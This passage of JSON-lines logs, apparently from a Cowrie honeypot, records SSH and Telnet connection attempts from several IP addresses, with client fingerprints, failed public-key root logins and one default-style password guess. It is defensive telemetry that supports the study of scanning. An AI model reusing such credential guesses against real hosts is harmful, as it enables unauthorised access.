{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:d9:2b:80:4f:94:26:21:01:ce:2c:ee:50:ab:a6:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJ1PwD8/SuR42he5OmsDwMV4Jyw4Sp0Y+eP0XSnbVG7a4SzwJfY5JlbYVxUgGEQZ6wZX7InOHCCcD1fL7u/9iNBU76TP8yJJ0ti9aMn0RrXrryJdboo69nmpqsL19G7qYA84AXhXBWKvBgM61flOdgN/a6W87VdkCEoGtnp7RHcs0HyLOl23ccAnl4vI8YyzZPM7espDnpYcgSC5g5HypKRLxH0Zd5xMYAlM9yYBfUYzHfGr+47HlAv2vFh8i+bRi59YrSWgMGZ0hi674Weg897SOhZJnVTyRbnk5piVqU4/tEjxng9jSmWNkiXjiWss571w8ZfvYmPBKIpaRcSx1eAihuGS3zNlMNvJUNmdGP4RGQi1O7Ul+oqMXaQlBFP5nouFMQUr633FjpAuDTksE4RWEXhaBYqiKpuM1yRBZoOS9jSyuf2YtC33Xm1ukO6qWQR/OThPYBdpeJLl1W7Szl4wC5yAAD18y3sIazrmpmOSqWkow3ckSoj2uBF6c0TUQyJbAdHnarDsf139ezzS5rtOz0VVMxZKYnNIw1WTBLIaq+qJTLTLdv1S6GMJRyhbDcsZ9gg9Ttqo5o8Z+1dKVjCFnkJRUogJCrfwx+aJvEtehmBX4UmOxRiyjjDwjyDtFrYl0liVM7pWj45LRkB+TAiPUXlxbnxsNtFkwH6qRGmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.150861Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:90:42:2d:bb:73:f0:43:01:ea:f5:af:e1:88:0b:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrMSUgppdilQrLRwj/hhIM4RQo2x0Cw04WuJSLC5S+7BZ3iMfrKgA/fxsSitPELD0Yxk54fvmC0gswwf5gaJZkvjAl9DrQOlEoVYIDJSmUTA7DkGdw9WpYtBNV95h2e/d6JNrykTraJabw8jukG47+XH4ApsqlDW816RDP/EMU1TlbHff2fo8uxk1Zwk54DArBnFaJWyiSzvIR3zxfoEk+1y1+kY+KTj2ojuYWVwEyuMO/ImaL2iF1SDMarDxSvb+oUMIaEBXxjL+Qawhe6Typ0HcrWcqrzWcJ8ycz1vSpOfdnzd76ro13K8qPV+2Ckg9CNMRH8+I3IatbdxqFcGMPX1z6eQvhuAHGGO1IHVdpzo+FHjbLddS3BhfAXmJVcY/VguKuCbuFSmnk+jpTMsila8ysXQzalOMm2kr74172AKmUW5HzYUaDWdsFi1bXGRQ8ofjdSNMEvxL8NFBXhkrr+cwHHmzRE5NTbpam8qvSXFz82eSug8hjZm8BTk0hlnPpHBoSsfQa6Agp4FZMqnRiZpvB1U8BAjpy2nYtV03SoZfFrTmWUIoshT6BDdWNfk5L9dT186XTv5EQ0aygi2vK421s+fBzBdzdnZlsv9mzhuC9x2zKS979jrzbkC/CSjeyAoIc6LgquW1aUuWIB0HxcibsY9RayB9JsnDcP4zRQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:90:42:2d:bb:73:f0:43:01:ea:f5:af:e1:88:0b:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.164652Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:90:42:2d:bb:73:f0:43:01:ea:f5:af:e1:88:0b:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrMSUgppdilQrLRwj/hhIM4RQo2x0Cw04WuJSLC5S+7BZ3iMfrKgA/fxsSitPELD0Yxk54fvmC0gswwf5gaJZkvjAl9DrQOlEoVYIDJSmUTA7DkGdw9WpYtBNV95h2e/d6JNrykTraJabw8jukG47+XH4ApsqlDW816RDP/EMU1TlbHff2fo8uxk1Zwk54DArBnFaJWyiSzvIR3zxfoEk+1y1+kY+KTj2ojuYWVwEyuMO/ImaL2iF1SDMarDxSvb+oUMIaEBXxjL+Qawhe6Typ0HcrWcqrzWcJ8ycz1vSpOfdnzd76ro13K8qPV+2Ckg9CNMRH8+I3IatbdxqFcGMPX1z6eQvhuAHGGO1IHVdpzo+FHjbLddS3BhfAXmJVcY/VguKuCbuFSmnk+jpTMsila8ysXQzalOMm2kr74172AKmUW5HzYUaDWdsFi1bXGRQ8ofjdSNMEvxL8NFBXhkrr+cwHHmzRE5NTbpam8qvSXFz82eSug8hjZm8BTk0hlnPpHBoSsfQa6Agp4FZMqnRiZpvB1U8BAjpy2nYtV03SoZfFrTmWUIoshT6BDdWNfk5L9dT186XTv5EQ0aygi2vK421s+fBzBdzdnZlsv9mzhuC9x2zKS979jrzbkC/CSjeyAoIc6LgquW1aUuWIB0HxcibsY9RayB9JsnDcP4zRQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.168343Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:59:db:e2:bb:59:34:89:d3:f3:ee:54:8d:07:70:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDsaRvMAWq+obao0CS0lpAdrkVO0axy8bVAoAYs/C2gfztek+dmWY9JnLaRkyg2PNyOmTE2p9KotMRkItrvZ11Rr6009hQb8aI3aeaSrI/OQZPXf/ggZpDkXZKtcHBMP7RbhfPgoZ0BjARW3haGelbe7YqaEHP+FqGxoqnulXAAqIw17ohOTMhc4p5pCFLVHBW5AFjRd1twoQHpXW4NDKywN1Lrq85XR80v6P/f8IB7jeMy4c9xtvXmgiuzqHx39y3QiHWdU3jLZpIJ7pt2qdvtjiUOWmEOBRDStkts1uOU5AJYOlWfiwXOYYkvttRNr6Fj2/D4WK1cSy4yFxP5GfWZvYiuYBtR3fe1zxS1ejM6f3E77nSLGw9heH7DJmmwKoXd1X2zPT810XWudl/G/o+XGR+Hrc+HNS3KaIACGrtwNycvlkUi+QCBRi5nsgcymPgDBhXLkwG6qXNwT0Q09ehEcDz04HEFJQsr8/ePDDRyqzTbuvmqw8vqZUhcyMoC1bJEu6oUyRelwzp2qf/YtYUq5GSoTqDV7xbrNm4bV6pkdlFbQTKJ7N0KtB4Tnnc78umlspUZbV7A49AaVIuWLRTlPwVgsquWlaK/IU8EfPq+ZpShono2Tw4IfZQdeDvBLvxXXmtAyvdsFpQrnm2/gcbJqYTMT71GivnC8B53v1sNnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:59:db:e2:bb:59:34:89:d3:f3:ee:54:8d:07:70:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.182202Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:59:db:e2:bb:59:34:89:d3:f3:ee:54:8d:07:70:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDsaRvMAWq+obao0CS0lpAdrkVO0axy8bVAoAYs/C2gfztek+dmWY9JnLaRkyg2PNyOmTE2p9KotMRkItrvZ11Rr6009hQb8aI3aeaSrI/OQZPXf/ggZpDkXZKtcHBMP7RbhfPgoZ0BjARW3haGelbe7YqaEHP+FqGxoqnulXAAqIw17ohOTMhc4p5pCFLVHBW5AFjRd1twoQHpXW4NDKywN1Lrq85XR80v6P/f8IB7jeMy4c9xtvXmgiuzqHx39y3QiHWdU3jLZpIJ7pt2qdvtjiUOWmEOBRDStkts1uOU5AJYOlWfiwXOYYkvttRNr6Fj2/D4WK1cSy4yFxP5GfWZvYiuYBtR3fe1zxS1ejM6f3E77nSLGw9heH7DJmmwKoXd1X2zPT810XWudl/G/o+XGR+Hrc+HNS3KaIACGrtwNycvlkUi+QCBRi5nsgcymPgDBhXLkwG6qXNwT0Q09ehEcDz04HEFJQsr8/ePDDRyqzTbuvmqw8vqZUhcyMoC1bJEu6oUyRelwzp2qf/YtYUq5GSoTqDV7xbrNm4bV6pkdlFbQTKJ7N0KtB4Tnnc78umlspUZbV7A49AaVIuWLRTlPwVgsquWlaK/IU8EfPq+ZpShono2Tw4IfZQdeDvBLvxXXmtAyvdsFpQrnm2/gcbJqYTMT71GivnC8B53v1sNnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.186054Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:25.202351Z","src_ip":"51.81.85.130","session":"9734eb359bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.118.22","src_port":42287,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08822426178","protocol":"telnet","message":"New connection: 37.186.118.22:42287 (159.203.135.109:23) [session: f08822426178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:56:47.508927Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":35318,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8820750a745","protocol":"telnet","message":"New connection: 172.104.93.159:35318 (159.203.135.109:23) [session: f8820750a745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:57:08.853914Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":39548,"dst_ip":"10.17.0.5","dst_port":23,"session":"24fb60c13b6c","protocol":"telnet","message":"New connection: 194.180.12.23:39548 (10.17.0.5:23) [session: 24fb60c13b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:57:15.085595Z"}
{"eventid":"cowrie.session.closed","duration":30.68432092666626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:57:18.193104Z","src_ip":"37.186.118.22","session":"f08822426178","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.167676210403442,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:57:19.021468Z","src_ip":"172.104.93.159","session":"f8820750a745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.46737599372864,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:58:10.552834Z","src_ip":"194.180.12.23","session":"24fb60c13b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":41529,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b44a5f81114","protocol":"ssh","message":"New connection: 178.20.210.186:41529 (10.17.0.5:22) [session: 7b44a5f81114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:59:17.593928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:59:17.598675Z","src_ip":"178.20.210.186","session":"7b44a5f81114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:59:17.695097Z","src_ip":"178.20.210.186","session":"7b44a5f81114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factory","password":"factory","message":"login attempt [factory/factory] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:59:18.077613Z","src_ip":"178.20.210.186","session":"7b44a5f81114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:59:19.185847Z","src_ip":"178.20.210.186","session":"7b44a5f81114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.204.253.106","src_port":37128,"dst_ip":"10.17.0.5","dst_port":22,"session":"26fa39db7e2e","protocol":"ssh","message":"New connection: 198.204.253.106:37128 (10.17.0.5:22) [session: 26fa39db7e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:25.900556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:25.905744Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:25.941421Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:06:87:b9:ba:db:29:e9:ba:2f:35:1e:0c:21:bc:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvabGEWg1K7zCdSdz10f/8YQRk3mz4Lr/QSL+OWzjfytDwFXuSV7Z59Hf7C75hGarapmnI6jxquSvI+UxdKtQnksN7k1Z7dM3eBZH6VJ6CL+Un1kdRveJpem2aW4kBhvXCuaqLPlrZ3qjQcW5VuRJ/scoyfXHBJJ4lXotOQj1Sq/MzY+OWqBwtEpo+e2Jgdu+k5N5/deRsnzOAxLW5osXHRoLG5WHhBej+Sx33vJVg8/L5OrDKK1jSYnRCBoUC387QRUx9QCM9N4ZLSM/pzX2Oz8WHfWuTfjfexxLOpGKRvUMv994dJoASbaKeXJpLeexyvXftc7jpO6/8+6q9RztZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:06:87:b9:ba:db:29:e9:ba:2f:35:1e:0c:21:bc:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.093736Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:06:87:b9:ba:db:29:e9:ba:2f:35:1e:0c:21:bc:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvabGEWg1K7zCdSdz10f/8YQRk3mz4Lr/QSL+OWzjfytDwFXuSV7Z59Hf7C75hGarapmnI6jxquSvI+UxdKtQnksN7k1Z7dM3eBZH6VJ6CL+Un1kdRveJpem2aW4kBhvXCuaqLPlrZ3qjQcW5VuRJ/scoyfXHBJJ4lXotOQj1Sq/MzY+OWqBwtEpo+e2Jgdu+k5N5/deRsnzOAxLW5osXHRoLG5WHhBej+Sx33vJVg8/L5OrDKK1jSYnRCBoUC387QRUx9QCM9N4ZLSM/pzX2Oz8WHfWuTfjfexxLOpGKRvUMv994dJoASbaKeXJpLeexyvXftc7jpO6/8+6q9RztZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.098131Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:12:78:76:5a:60:4c:9b:40:43:6a:42:e3:ad:20:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7sxto6UIFU1MfI4OKaY2ph0UXBBzOAicSCXr90HZRmJh2upZ0iGa45Ahz8XApor4QavMNwcXDE1kYFit9Us6wybNlF1MNP9MOwIPfNZ8ep+wFWVrwqKT4r+J2ggEYWwnA/APMrMzuHmx2NljvVDBcibR0mKKdtTBimcHcURspvasc5og4H67Q//nYndpsDZghkx2Zd5BKOlaCP/IvhpxexzyIoKcihgKjn7KW/8PRL7HVB37ULQM16ydKUQK6/w0h1yXJdlRXteibAdPnXFAXywI/46/ybOxa3gJUe3WaY3pia303B2VCKGXNgLs8a3rLtzcQCelY8f0CC+YIrMnJDqdeuInu4rKivIzPwpg3JtmfFGc7B5G2aiSgUYsffHQh7z4QrwnRAtNVddTBbesWKwyvFIoc1rUviqQEnfD+GXLlmBy5h8jBEVA/pTz7oBJAt6WeBiXF1jXBQ2VBgvJSs28/1Jtqoe607pq4hIPzYUVpeE+S1ncSxk+vxcg8e0ytQjvSb8bqLl0BYZPPFajzl+gQI5o6vJH5YaFumOW6CwkMlbZJAcb+OFrMI2MO4/MUGCaRCNQWu69m0r/vM3f2gA2rMQVXjPzJ8JOrBruBezcDa0C9ufFRt/bAGza81nI3SNPDZ/JVTxqyPt9g3BQeQf6CFsNf5krNml0J2vB21Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:12:78:76:5a:60:4c:9b:40:43:6a:42:e3:ad:20:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.133621Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:12:78:76:5a:60:4c:9b:40:43:6a:42:e3:ad:20:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7sxto6UIFU1MfI4OKaY2ph0UXBBzOAicSCXr90HZRmJh2upZ0iGa45Ahz8XApor4QavMNwcXDE1kYFit9Us6wybNlF1MNP9MOwIPfNZ8ep+wFWVrwqKT4r+J2ggEYWwnA/APMrMzuHmx2NljvVDBcibR0mKKdtTBimcHcURspvasc5og4H67Q//nYndpsDZghkx2Zd5BKOlaCP/IvhpxexzyIoKcihgKjn7KW/8PRL7HVB37ULQM16ydKUQK6/w0h1yXJdlRXteibAdPnXFAXywI/46/ybOxa3gJUe3WaY3pia303B2VCKGXNgLs8a3rLtzcQCelY8f0CC+YIrMnJDqdeuInu4rKivIzPwpg3JtmfFGc7B5G2aiSgUYsffHQh7z4QrwnRAtNVddTBbesWKwyvFIoc1rUviqQEnfD+GXLlmBy5h8jBEVA/pTz7oBJAt6WeBiXF1jXBQ2VBgvJSs28/1Jtqoe607pq4hIPzYUVpeE+S1ncSxk+vxcg8e0ytQjvSb8bqLl0BYZPPFajzl+gQI5o6vJH5YaFumOW6CwkMlbZJAcb+OFrMI2MO4/MUGCaRCNQWu69m0r/vM3f2gA2rMQVXjPzJ8JOrBruBezcDa0C9ufFRt/bAGza81nI3SNPDZ/JVTxqyPt9g3BQeQf6CFsNf5krNml0J2vB21Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.138757Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:17:01:ad:15:69:9a:9c:61:79:e6:fc:e5:2d:21:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDodm/3MvPGcxiyic/OY0Q3M01L3lkx+5WuOnmufTFZVUEoB8+xkbn8JyPo9bJY4bnoBv/ZG9BKxbW4f9BphGjFKTumbIEb4ypTJfeGahobUC4lKnx9PUsK3wPluPaWo1iYIyw90OUBWTrc6MgXm3TvsDxEpQjbn701iTei9uyx2xbVCoRKt8YYU6uj0D8JmpSoZyagklteGQqZ0MTdCkAFbV2iqJ090r81dE4puVgHecr+w+BF46+zrMnAOs0VdS/kjXycAj4VkXzMa7Stj6/2jlBRjqMsODG47kZbpi59Md+vgtmvPpLC4F3nFa4qOn9uhGkiJfwa8O4viVskCDLzuH0beEZARO9JwE8NvFDXi3VwQV6CYJ+ewd4k01IzTJeCgUsspcylEE2/oiUJWKpaB3AtNF0nZI3E/YM4AHzMdlTWKMi7O+gelJCB50RwpCFHGSQ8l4lvv74JCayNgg7OLnj7waTxAdFKdeMBcDxCfMz5yUjJ3WOVOIIH/kv2Zc4kErAWi/gMAtHemTevVn09cnf/1Z9C49jOYQyOAm6Xj0yTj6igh+InHMc1OhoYgzfyKqduVvN9MSWdwhWGv/f/MfX4PdNT7nmP6vLsPhlyfTJiiNSdLnupyHk7lw5G+wEkurvwPeGU7mO5OYpcf3dyGi2rGmJT54r2NZYgRb5SqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:17:01:ad:15:69:9a:9c:61:79:e6:fc:e5:2d:21:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.177190Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:17:01:ad:15:69:9a:9c:61:79:e6:fc:e5:2d:21:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDodm/3MvPGcxiyic/OY0Q3M01L3lkx+5WuOnmufTFZVUEoB8+xkbn8JyPo9bJY4bnoBv/ZG9BKxbW4f9BphGjFKTumbIEb4ypTJfeGahobUC4lKnx9PUsK3wPluPaWo1iYIyw90OUBWTrc6MgXm3TvsDxEpQjbn701iTei9uyx2xbVCoRKt8YYU6uj0D8JmpSoZyagklteGQqZ0MTdCkAFbV2iqJ090r81dE4puVgHecr+w+BF46+zrMnAOs0VdS/kjXycAj4VkXzMa7Stj6/2jlBRjqMsODG47kZbpi59Md+vgtmvPpLC4F3nFa4qOn9uhGkiJfwa8O4viVskCDLzuH0beEZARO9JwE8NvFDXi3VwQV6CYJ+ewd4k01IzTJeCgUsspcylEE2/oiUJWKpaB3AtNF0nZI3E/YM4AHzMdlTWKMi7O+gelJCB50RwpCFHGSQ8l4lvv74JCayNgg7OLnj7waTxAdFKdeMBcDxCfMz5yUjJ3WOVOIIH/kv2Zc4kErAWi/gMAtHemTevVn09cnf/1Z9C49jOYQyOAm6Xj0yTj6igh+InHMc1OhoYgzfyKqduVvN9MSWdwhWGv/f/MfX4PdNT7nmP6vLsPhlyfTJiiNSdLnupyHk7lw5G+wEkurvwPeGU7mO5OYpcf3dyGi2rGmJT54r2NZYgRb5SqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:00:26.181958Z","src_ip":"198.204.253.106","session":"26fa39db7e2e","protocol":"ssh"}
